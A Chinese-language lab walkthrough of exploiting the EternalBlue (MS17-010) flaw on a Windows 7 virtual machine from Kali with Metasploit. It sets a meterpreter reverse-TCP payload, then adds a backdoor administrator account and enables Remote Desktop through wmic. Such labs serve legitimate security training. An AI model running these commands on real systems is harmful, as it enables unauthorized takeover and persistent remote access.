关于永恒之蓝 MS17-010 漏洞利用

环境信息如下

---

---

VMWare虚拟机

攻击机：Kali Linux IP：192.168.40.131
靶机：Windows 7 IP:192.168.40.135

物理机系统：windows 11

---

---

进入Kali，打开msfconsole

---

---

查找相关模块
search ms17-010

---

---

使用模块0
use 0

---

---

使用payload
set payload windows/x64/meterpreter/reverse_tcp

---

---

设置靶机IP
set rhosts 192.168.40.135

---

---

接着输入run或exploit执行

这里我们可以看见已经成功打入

---

---

输入shell，进入靶机终端

---

---

首先创建一个新用户
net user acexze 123456 /add

---

---

接着将这个用户设置为管理员
net localgroup administrators acexze /add

---

---

然后我们开启靶机的3389端口以供我们进行远程连接
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1

---

---

在物理机上打开终端，开启远程桌面连接
mstsc

---

---

进入远程连接界面，输入靶机IP

---

---

点击“显示选项”，展开，填入我们新创建的用户
 

---

---

这时远程桌面连接会显示，我们点击“是”

---

---

靶机桌面会显示

---

---

在无操作后30秒，靶机桌面显示

---

---

此时我们的物理机也远程连接进了靶机桌面

---